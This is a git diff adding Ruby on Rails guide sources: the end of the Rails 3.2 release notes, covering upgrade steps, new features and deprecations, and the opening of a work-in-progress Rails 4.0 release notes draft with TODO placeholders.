+* Automatic Query Explains
+* Tagged Logging
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/3-2-stable in the main Rails repository on GitHub.
+
+endprologue.
+
+h3. Upgrading to Rails 3.2
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.1 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 3.2. Then take heed of the following changes:
+
+h4. Rails 3.2 requires at least Ruby 1.8.7
+
+Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing.
+
+h4. What to update in your apps
+
+* Update your Gemfile to depend on
+** <tt>rails = 3.2.0</tt>
+** <tt>sass-rails ~> 3.2.3</tt>
+** <tt>coffee-rails ~> 3.2.1</tt>
+** <tt>uglifier >= 1.0.3</tt>
+
+* Rails 3.2 deprecates <tt>vendor/plugins</tt> and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+
+* There are a couple of new configuration changes you'd want to add in <tt>config/environments/development.rb</tt>:
+
+<ruby>
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+</ruby>
+
+The <tt>mass_assignment_sanitizer</tt> config also needs to be added in <tt>config/environments/test.rb</tt>:
+
+<ruby>
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+</ruby>
+
+h4. What to update in your engines
+
+Replace the code beneath the comment in <tt>script/rails</tt> with the following content:
+
+<ruby>
+ENGINE_ROOT = File.expand_path('../..', __FILE__)
+ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
+
+require 'rails/all'
+require 'rails/engine/commands'
+</ruby>
+
+h3. Creating a Rails 3.2 application
+
+<shell>
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+</shell>
+
+h4. Vendoring Gems
+
+Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: "Bundler homepage":http://gembundler.com
+
+h4. Living on the Edge
+
++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
+
+<shell>
+$ rails new myapp --edge
+</shell>
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
+
+<shell>
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+</shell>
+
+h3. Major Features
+
+h4. Faster Development Mode & Routing
+
+Rails 3.2 comes with a development mode that's noticeably faster. Inspired by "Active Reload":https://github.com/paneq/active_reload, Rails reloads classes only when files actually change. The performance gains are dramatic on a larger application. Route recognition also got a bunch faster thanks to the new "Journey":https://github.com/rails/journey engine.
+
+h4. Automatic Query Explains
+
+Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an +explain+ method in <tt>ActiveRecord::Relation</tt>. For example, you can run something like <tt>puts Person.active.limit(5).explain</tt> and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations.
+
+Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed.
+
+h4. Tagged Logging
+
+When running a multi-user, multi-account application, it's a great help to be able to filter the log by who did what. TaggedLogging in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+h3. Documentation
+
+From Rails 3.2, the Rails guides are available for the Kindle and free Kindle Reading Apps for the iPad, iPhone, Mac, Android, etc.
+
+h3. Railties
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting <tt>config.reload_classes_only_on_change</tt> to false.
+
+* New applications get a flag <tt>config.active_record.auto_explain_threshold_in_seconds</tt> in the environments configuration files. With a value of <tt>0.5</tt> in <tt>development.rb</tt> and commented out in <tt>production.rb</tt>. No mention in <tt>test.rb</tt>.
+
+* Added <tt>config.exceptions_app</tt> to set the exceptions application invoked by the +ShowException+ middleware when an exception happens. Defaults to <tt>ActionDispatch::PublicExceptions.new(Rails.public_path)</tt>.
+
+* Added a <tt>DebugExceptions</tt> middleware which contains features extracted from <tt>ShowExceptions</tt> middleware.
+
+* Display mounted engines' routes in <tt>rake routes</tt>.
+
+* Allow to change the loading order of railties with <tt>config.railties_order</tt> like:
+
+<ruby>
+config.railties_order = [Blog::Engine, :main_app, :all]
+</ruby>
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box.
+
+* Update <tt>Rails::Rack::Logger</tt> middleware to apply any tags set in <tt>config.log_tags</tt> to <tt>ActiveSupport::TaggedLogging</tt>. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* Default options to +rails new+ can be set in <tt>~/.railsrc</tt>. You can specify extra command-line arguments to be used every time 'rails new' runs in the <tt>.railsrc</tt> configuration file in your home directory.
+
+* Add an alias +d+ for +destroy+. This works for engines too.
+
+* Attributes on scaffold and model generators default to string. This allows the following: <tt>rails g scaffold Post title body:text author</tt>
+
+* Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
+
+<ruby>
+rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+</ruby>
+
+will create indexes for +title+ and +author+ with the latter being an unique index. Some types such as decimal accept custom options. In the example, +price+ will be a decimal column with precision and scale set to 7 and 2 respectively.
+
+* Turn gem has been removed from default Gemfile.
+
+* Remove old plugin generator +rails generate plugin+ in favor of +rails plugin new+ command.
+
+* Remove old <tt>config.paths.app.controller</tt> API in favor of <tt>config.paths["app/controller"]</tt>.
+
+h4(#railties_deprecations). Deprecations
+
+* +Rails::Plugin+ is deprecated and will be removed in Rails 4.0. Instead of adding plugins to +vendor/plugins+ use gems or bundler with path or git dependencies.
+
+h3. Action Mailer
+
+* Upgraded <tt>mail</tt> version to 2.4.0.
+
+* Removed the old Action Mailer API which was deprecated since Rails 3.0.
+
+h3. Action Pack
+
+h4. Action Controller
+
+* Make <tt>ActiveSupport::Benchmarkable</tt> a default module for <tt>ActionController::Base,</tt> so the <tt>#benchmark</tt> method is once again available in the controller context like it used to be.
+
+* Added +:gzip+ option to +caches_page+. The default option can be configured globally using <tt>page_cache_compression</tt>.
+
+* Rails will now use your default layout (such as "layouts/application") when you specify a layout with <tt>:only</tt> and <tt>:except</tt> condition, and those conditions fail.
+
+<ruby>
+class CarsController
+  layout 'single_car', :only => :show
+end
+</ruby>
+
+Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions.
+
+* form_for is changed to use "#{action}_#{as}" as the css class and id if +:as+ option is provided. Earlier versions used "#{as}_#{action}".
+
+* <tt>ActionController::ParamsWrapper</tt> on ActiveRecord models now only wrap <tt>attr_accessible</tt> attributes if they were set. If not, only the attributes returned by the class method +attribute_names+ will be wrapped. This fixes the wrapping of nested attributes by adding them to +attr_accessible+.
+
+* Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts.
+
+* <tt>ActionDispatch::ShowExceptions</tt> is refactored. The controller is responsible for choosing to show exceptions. It's possible to override +show_detailed_exceptions?+ in controllers to specify which requests should provide debugging information on errors.
+
+* Responders now return 204 No Content for API requests without a response body (as in the new scaffold).
+
+* <tt>ActionController::TestCase</tt> cookies is refactored. Assigning cookies for test cases should now use <tt>cookies[]</tt>
+
+<ruby>
+cookies[:email] = 'user@example.com'
+get :index
+assert_equal 'user@example.com', cookies[:email]
+</ruby>
+
+To clear the cookies, use +clear+.
+
+<ruby>
+cookies.clear
+get :index
+assert_nil cookies[:email]
+</ruby>
+
+We now no longer write out HTTP_COOKIE and the cookie jar is persistent between requests so if you need to manipulate the environment for your test you need to do it before the cookie jar is created.
+
+* <tt>send_file</tt> now guesses the MIME type from the file extension if +:type+ is not provided.
+
+* MIME type entries for PDF, ZIP and other formats were added.
+
+* Allow fresh_when/stale? to take a record instead of an options hash.
+
+* Changed log level of warning for missing CSRF token from <tt>:debug</tt> to <tt>:warn</tt>.
+
+* Assets should use the request protocol by default or default to relative if no request is available.
+
+h5(#actioncontroller_deprecations). Deprecations
+
+* Deprecated implied layout lookup in controllers whose parent had a explicit layout set:
+
+<ruby>
+class ApplicationController
+  layout "application"
+end
+
+class PostsController < ApplicationController
+end
+</ruby>
+
+In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove <tt>layout "application"</tt> from +ApplicationController+ or explicitly set it to +nil+ in +PostsController+.
+
+* Deprecated <tt>ActionController::UnknownAction</tt> in favour of <tt>AbstractController::ActionNotFound</tt>.
+
+* Deprecated <tt>ActionController::DoubleRenderError</tt> in favour of <tt>AbstractController::DoubleRenderError</tt>.
+
+* Deprecated <tt>method_missing</tt> in favour of +action_missing+ for missing actions.
+
+* Deprecated <tt>ActionController#rescue_action</tt>, <tt>ActionController#initialize_template_class</tt> and <tt>ActionController#assign_shortcuts</tt>.
+
+h4. Action Dispatch
+
+* Add <tt>config.action_dispatch.default_charset</tt> to configure default charset for <tt>ActionDispatch::Response</tt>.
+
+* Added <tt>ActionDispatch::RequestId</tt> middleware that'll make a unique X-Request-Id header available to the response and enables the <tt>ActionDispatch::Request#uuid</tt> method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog.
+
+* The <tt>ShowExceptions</tt> middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in +env["action_dispatch.exception"]+ and with the <tt>PATH_INFO</tt> rewritten to the status code.
+
+* Allow rescue responses to be configured through a railtie as in <tt>config.action_dispatch.rescue_responses</tt>.
+
+h5(#actiondispatch_deprecations). Deprecations
+
+* Deprecated the ability to set a default charset at the controller level, use the new <tt>config.action_dispatch.default_charset</tt> instead.
+
+h4. Action View
+
+* Add +button_tag+ support to <tt>ActionView::Helpers::FormBuilder</tt>. This support mimics the default behavior of +submit_tag+.
+
+<ruby>
+<%= form_for @post do |f| %>
+  <%= f.button %>
+<% end %>
+</ruby>
+
+* Date helpers accept a new option <tt>:use_two_digit_numbers => true</tt>, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+<ruby>
+<%= form_for(@offer, :namespace => 'namespace') do |f| %>
+  <%= f.label :version, 'Version' %>:
+  <%= f.text_field :version %>
+<% end %>
+</ruby>
+
+* Limit the number of options for +select_year+ to 1000. Pass +:max_years_allowed+ option to set your own limit.
+
+* +content_tag_for+ and +div_for+ can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+<ruby>
+@items.each do |item|
+  content_tag_for(:li, item) do
+     Title: <%= item.title %>
+  end
+end
+</ruby>
+
+You can do this:
+
+<ruby>
+content_tag_for(:li, @items) do |item|
+  Title: <%= item.title %>
+end
+</ruby>
+
+* Added +font_path+ helper method that computes the path to a font asset in <tt>public/fonts</tt>.
+
+h5(#actionview_deprecations). Deprecations
+
+* Passing formats or handlers to render :template and friends like <tt>render :template => "foo.html.erb"</tt> is deprecated. Instead, you can provide :handlers and :formats directly as options: <tt> render :template => "foo", :formats => [:html, :js], :handlers => :erb</tt>.
+
+h4. Sprockets
+
+* Adds a configuration option <tt>config.assets.logger</tt> to control Sprockets logging. Set it to +false+ to turn off logging and to +nil+ to default to +Rails.logger+.
+
+h3. Active Record
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the +timestamps+ method creates the +created_at+ and +updated_at+ columns, it makes them non-nullable by default.
+
+* Implemented <tt>ActiveRecord::Relation#explain</tt>.
+
+* Implements <tt>AR::Base.silence_auto_explain</tt> which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter +config.active_record.auto_explain_threshold_in_seconds+ determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added <tt>ActiveRecord::Base.store</tt> for declaring simple single-column key/value stores.
+
+<ruby>
+class User < ActiveRecord::Base
+  store :settings, accessors: [ :color, :homepage ]
+end
+
+u = User.new(color: 'black', homepage: '37signals.com')
+u.color                          # Accessor stored attribute
+u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+</ruby>
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+<ruby>
+rake db:migrate SCOPE=blog
+</ruby>
+
+* Migrations copied from engines are now scoped with engine's name, for example <tt>01_create_posts.blog.rb</tt>.
+
+* Implemented <tt>ActiveRecord::Relation#pluck</tt> method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+<ruby>
+Client.where(:active => true).pluck(:id)
+# SELECT id from clients where active = 1
+</ruby>
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named <tt>MyModel::GeneratedFeatureMethods</tt>. It is included into the model class immediately after the +generated_attributes_methods+ module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add <tt>ActiveRecord::Relation#uniq</tt> for generating unique queries.
+
+<ruby>
+Client.select('DISTINCT name')
+</ruby>
+
+..can be written as:
+
+<ruby>
+Client.select(:name).uniq
+</ruby>
+
+This also allows you to revert the uniqueness in a relation:
+
+<ruby>
+Client.select(:name).uniq.uniq(false)
+</ruby>
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the +:class_name+ option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.
+
+<ruby>
+has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+</ruby>
+
+* In development mode, <tt>db:drop</tt> also drops the test database in order to be symmetric with <tt>db:create</tt>.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add +first_or_create+, +first_or_create!+, +first_or_initialize+ methods to Active Record. This is a better approach over the old +find_or_create_by+ dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+<ruby>
+User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+</ruby>
+
+* Added a <tt>with_lock</tt> method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to +lock!+.
+
+This makes it possible to write the following:
+
+<ruby>
+class Order < ActiveRecord::Base
+  def cancel!
+    transaction do
+      lock!
+      # ... cancelling logic
+    end
+  end
+end
+</ruby>
+
+as:
+
+<ruby>
+class Order < ActiveRecord::Base
+  def cancel!
+    with_lock do
+      # ... cancelling logic
+    end
+  end
+end
+</ruby>
+
+h4(#activerecord_deprecations). Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+<ruby>
+Thread.new { Post.find(1) }.join
+</ruby>
+
+It should be changed to close the database connection at the end of the thread:
+
+<ruby>
+Thread.new {
+  Post.find(1)
+  Post.connection.close
+}.join
+</ruby>
+
+Only people who spawn threads in their application code need to worry about this change.
+
+* The +set_table_name+, +set_inheritance_column+, +set_sequence_name+, +set_primary_key+, +set_locking_column+ methods are deprecated. Use an assignment method instead. For example, instead of +set_table_name+, use <tt>self.table_name=</tt>.
+
+<ruby>
+class Project < ActiveRecord::Base
+  self.table_name = "project"
+end
+</ruby>
+
+Or define your own <tt>self.table_name</tt> method:
+
+<ruby>
+class Post < ActiveRecord::Base
+  def self.table_name
+    "special_" + super
+  end
+end
+
+Post.table_name # => "special_posts"
+
+</ruby>
+
+h3. Active Model
+
+* Add <tt>ActiveModel::Errors#added?</tt> to check if a specific error has been added.
+
+* Add ability to define strict validations with <tt>strict => true</tt> that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+h4(#activemodel_deprecations). Deprecations
+
+* Deprecated <tt>define_attr_method</tt> in <tt>ActiveModel::AttributeMethods</tt> because this only existed to support methods like +set_table_name+ in Active Record, which are themselves being deprecated.
+
+* Deprecated <tt>Model.model_name.partial_path</tt> in favor of <tt>model.to_partial_path</tt>.
+
+h3. Active Resource
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+h3. Active Support
+
+* Added <tt>ActiveSupport:TaggedLogging</tt> that can wrap any standard +Logger+ class to provide tagging capabilities.
+
+<ruby>
+Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+Logger.tagged("BCX") { Logger.info "Stuff" }
+# Logs "[BCX] Stuff"
+
+Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+# Logs "[BCX] [Jason] Stuff"
+
+Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+# Logs "[BCX] [Jason] Stuff"
+</ruby>
+
+* The +beginning_of_week+ method in +Date+, +Time+ and +DateTime+ accepts an optional argument representing the day in which the week is assumed to start.
+
+* <tt>ActiveSupport::Notifications.subscribed</tt> provides subscriptions to events while a block runs.
+
+* Defined new methods <tt>Module#qualified_const_defined?</tt>, <tt>Module#qualified_const_get</tt> and <tt>Module#qualified_const_set</tt> that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added +#deconstantize+ which complements +#demodulize+ in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added <tt>safe_constantize</tt> that constantizes a string but returns +nil+ instead of raising an exception if the constant (or part of it) does not exist.
+
+* <tt>ActiveSupport::OrderedHash</tt> is now marked as extractable when using <tt>Array#extract_options!</tt>.
+
+* Added <tt>Array#prepend</tt> as an alias for <tt>Array#unshift</tt> and <tt>Array#append</tt> as an alias for <tt>Array#<<</tt>.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U+3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added <tt>Time#all_day</tt>, <tt>Time#all_week</tt>, <tt>Time#all_quarter</tt> and <tt>Time#all_year</tt> as a way of generating ranges.
+
+<ruby>
+Event.where(:created_at => Time.now.all_week)
+Event.where(:created_at => Time.now.all_day)
+</ruby>
+
+* Added <tt>instance_accessor: false</tt> as an option to <tt>Class#cattr_accessor</tt> and friends.
+
+* <tt>ActiveSupport::OrderedHash</tt> now has different behavior for <tt>#each</tt> and <tt>#each_pair</tt> when given a block accepting its parameters with a splat.
+
+* Added <tt>ActiveSupport::Cache::NullStore</tt> for use in development and testing.
+
+* Removed <tt>ActiveSupport::SecureRandom</tt> in favor of <tt>SecureRandom</tt> from the standard library.
+
+h4(#activesupport_deprecations). Deprecations
+
+* +ActiveSupport::Base64+ is deprecated in favor of <tt>::Base64</tt>.
+
+* Deprecated <tt>ActiveSupport::Memoizable</tt> in favor of Ruby memoization pattern.
+
+* <tt>Module#synchronize</tt> is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated <tt>ActiveSupport::MessageEncryptor#encrypt</tt> and <tt>ActiveSupport::MessageEncryptor#decrypt</tt>.
+
+* <tt>ActiveSupport::BufferedLogger#silence</tt> is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* <tt>ActiveSupport::BufferedLogger#open_log</tt> is deprecated. This method should not have been public in the first place.
+
+* <tt>ActiveSupport::BufferedLogger's</tt> behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* <tt>ActiveSupport::BufferedLogger#auto_flushing</tt> is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+<ruby>
+f = File.open('foo.log', 'w')
+f.sync = true
+ActiveSupport::BufferedLogger.new f
+</ruby>
+
+* <tt>ActiveSupport::BufferedLogger#flush</tt> is deprecated. Set sync on your filehandle, or tune your filesystem.
+
+h3. Credits
+
+See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.2 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/guides/source/4_0_release_notes.textile b/guides/source/4_0_release_notes.textile
new file mode 100644
index 0000000000..2f21f8cc71
--- /dev/null
+++ b/guides/source/4_0_release_notes.textile
@@ -0,0 +1,857 @@
+h2. Ruby on Rails 4.0 Release Notes
+
+Highlights in Rails 4.0:
+
+These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
+
+endprologue.
+
+h3. Upgrading to Rails 4.0
+
+TODO. This is a WIP guide.
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. Then take heed of the following changes:
+
+h4. Rails 4.0 requires at least Ruby 1.9.3
+
+Rails 4.0 requires Ruby 1.9.3 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible.
+
+h4. What to update in your apps
+
+* Update your Gemfile to depend on
+** <tt>rails = 4.0.0</tt>
+** <tt>sass-rails ~> 3.2.3</tt>
+** <tt>coffee-rails ~> 3.2.1</tt>
+** <tt>uglifier >= 1.0.3</tt>
+
+TODO: Update the versions above.
+
+* Rails 4.0 removes <tt>vendor/plugins</tt> completely. You have to replace these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, <tt>lib/my_plugin/*</tt> and add an appropriate initializer in <tt>config/initializers/my_plugin.rb</tt>.
+
+TODO: Configuration changes in environment files
+
+h3. Creating a Rails 4.0 application
+
+<shell>
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+</shell>
+
+h4. Vendoring Gems
+
+Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: "Bundler homepage":http://gembundler.com
+
+h4. Living on the Edge
+
++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
+
+<shell>
+$ rails new myapp --edge
+</shell>
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
+
+<shell>
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+</shell>
+
+h3. Major Features
+
+h3. Documentation
+
+h3. Railties
+
+* Allow scaffold/model/migration generators to accept a <tt>polymorphic</tt> modifier for <tt>references</tt>/<tt>belongs_to</tt>, for instance
+
+<shell>
+rails g model Product supplier:references{polymorphic}
+</shell>
+
+will generate the model with <tt>belongs_to :supplier, polymorphic: true</tt> association and appropriate migration.
+
+* Set <tt>config.active_record.migration_error</tt> to <tt>:page_load</tt> for development.
+
+* Add runner to <tt>Rails::Railtie</tt> as a hook called just after runner starts.
+
+* Add <tt>/rails/info/routes</tt> path which displays the same information as +rake routes+.
+
+* Improved +rake routes+ output for redirects.
+
+* Load all environments available in <tt>config.paths["config/environments"]</tt>.
+
+* Add <tt>config.queue_consumer</tt> to allow the default consumer to be configurable.
+
+* Add <tt>Rails.queue</tt> as an interface with a default implementation that consumes jobs in a separate thread.
+
+* Remove <tt>Rack::SSL</tt> in favour of <tt>ActionDispatch::SSL</tt>.
+
+* Allow to set class that will be used to run as a console, other than IRB, with <tt>Rails.application.config.console=</tt>. It's best to add it to console block.
+
+<ruby>
+# it can be added to config/application.rb
+console do
+  # this block is called only when running console,
+  # so we can safely require pry here
+  require "pry"
+  config.console = Pry
+end
+</ruby>
+
+* Add a convenience method <tt>hide!</tt> to Rails generators to hide the current generator namespace from showing when running <tt>rails generate</tt>.
+
+* Scaffold now uses +content_tag_for+ in <tt>index.html.erb</tt>.
+
+* <tt>Rails::Plugin</tt> is removed. Instead of adding plugins to <tt>vendor/plugins</tt>, use gems or bundler with path or git dependencies.
+
+h4(#railties_deprecations). Deprecations
+
+h3. Action Mailer
+
+* Allow to set default Action Mailer options via <tt>config.action_mailer.default_options=</tt>.
+
+* Raise an <tt>ActionView::MissingTemplate</tt> exception when no implicit template could be found.
+
+* Asynchronously send messages via the Rails Queue.
+
+h3. Action Pack
+
+h4. Action Controller
+
+* Add <tt>ActionController::Flash.add_flash_types</tt> method to allow people to register their own flash types. e.g.:
+
+<ruby>
+class ApplicationController
+  add_flash_types :error, :warning
+end
+</ruby>
+
+If you add the above code, you can use <tt><%= error %></tt> in an erb, and <tt>redirect_to /foo, :error => 'message'</tt> in a controller.
+
+* Remove Active Model dependency from Action Pack.
+
+* Support unicode characters in routes. Route will be automatically escaped, so instead of manually escaping:
+
+<ruby>
+get Rack::Utils.escape('こんにちは') => 'home#index'
+</ruby>
+
+You just have to write the unicode route:
+
+<ruby>
+get 'こんにちは' => 'home#index'
+</ruby>
+
+* Return proper format on exceptions.
+
+* Extracted redirect logic from <tt>ActionController::ForceSSL::ClassMethods.force_ssl</tt>  into <tt>ActionController::ForceSSL#force_ssl_redirect</tt>.
+
+* URL path parameters with invalid encoding now raise <tt>ActionController::BadRequest</tt>.
+
+* Malformed query and request parameter hashes now raise <tt>ActionController::BadRequest</tt>.
+
+* +respond_to+ and +respond_with+ now raise <tt>ActionController::UnknownFormat</tt> instead of directly returning head 406. The exception is rescued and converted to 406 in the exception handling middleware.
+
+* JSONP now uses <tt>application/javascript</tt> instead of <tt>application/json</tt> as the MIME type.
+
+* Session arguments passed to process calls in functional tests are now merged into the existing session, whereas previously they would replace the existing session.  This change may break some existing tests if they are asserting the exact contents of the session but should not break existing tests that only assert individual keys.
+
+* Forms of persisted records use always PATCH (via the +_method+ hack).
+
+* For resources, both PATCH and PUT are routed to the +update+ action.
+
+* Don't ignore +force_ssl+ in development. This is a change of behavior - use an <tt>:if</tt> condition to recreate the old behavior.
+
+<ruby>
+class AccountsController < ApplicationController
+  force_ssl :if => :ssl_configured?
+
+  def ssl_configured?
+    !Rails.env.development?
+  end
+end
+</ruby>
+
+h5(#actioncontroller_deprecations). Deprecations
+
+* Deprecated <tt>ActionController::Integration</tt> in favour of <tt>ActionDispatch::Integration</tt>.
+
+* Deprecated <tt>ActionController::IntegrationTest</tt> in favour of <tt>ActionDispatch::IntegrationTest</tt>.
+
+* Deprecated <tt>ActionController::PerformanceTest</tt> in favour of <tt>ActionDispatch::PerformanceTest</tt>.
+
+* Deprecated <tt>ActionController::AbstractRequest</tt> in favour of <tt>ActionDispatch::Request</tt>.
+
+* Deprecated <tt>ActionController::Request</tt> in favour of <tt>ActionDispatch::Request</tt>.
+
+* Deprecated <tt>ActionController::AbstractResponse</tt> in favour of <tt>ActionDispatch::Response</tt>.
+
+* Deprecated <tt>ActionController::Response</tt> in favour of <tt>ActionDispatch::Response</tt>.
+
+* Deprecated <tt>ActionController::Routing</tt> in favour of <tt>ActionDispatch::Routing</tt>.
+
+h4. Action Dispatch
+
+* Add Routing Concerns to declare common routes that can be reused inside others resources and routes.
+
+Code before:
+
+<ruby>
+resources :messages do
+  resources :comments
+end
+
+resources :posts do
+  resources :comments
+  resources :images, only: :index
+end
+</ruby>
+
+Code after:
+
+<ruby>
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+</ruby>
+
+* Show routes in exception page while debugging a <tt>RoutingError</tt> in development.
+
+* Include <tt>mounted_helpers</tt> (helpers for accessing mounted engines) in <tt>ActionDispatch::IntegrationTest</tt> by default.
+
+* Added <tt>ActionDispatch::SSL</tt> middleware that when included force all the requests to be under HTTPS protocol.
+
+* Copy literal route constraints to defaults so that url generation know about them.  The copied constraints are <tt>:protocol</tt>, <tt>:subdomain</tt>, <tt>:domain</tt>, <tt>:host</tt> and <tt>:port</tt>.
+
+* Allows +assert_redirected_to+ to match against a regular expression.
+
+* Adds a backtrace to the routing error page in development.
+
+* +assert_generates+, +assert_recognizes+, and +assert_routing+ all raise +Assertion+ instead of +RoutingError+.
+
+* Allows the route helper root to take a string argument. For example, <tt>root 'pages#main'</tt> as a shortcut for <tt>root to: 'pages#main'</tt>.
+
+* Adds support for the PATCH verb: Request objects respond to <tt>patch?</tt>. Routes now have a new +patch+ method, and understand +:patch+ in the existing places where a verb is configured, like <tt>:via</tt>. Functional tests have a new method +patch+ and integration tests have a new method +patch_via_redirect+.
+If <tt>:patch</tt> is the default verb for updates, edits are tunneled as <tt>PATCH</tt> rather than as <tt>PUT</tt> and routing acts accordingly.
+
+* Integration tests support the OPTIONS method.
+
+* +expires_in+ accepts a +must_revalidate+ flag. If true, "must-revalidate" is added to the <tt>Cache-Control</tt> header.
+
+* Default responder will now always use your overridden block in <tt>respond_with</tt> to render your response.
+
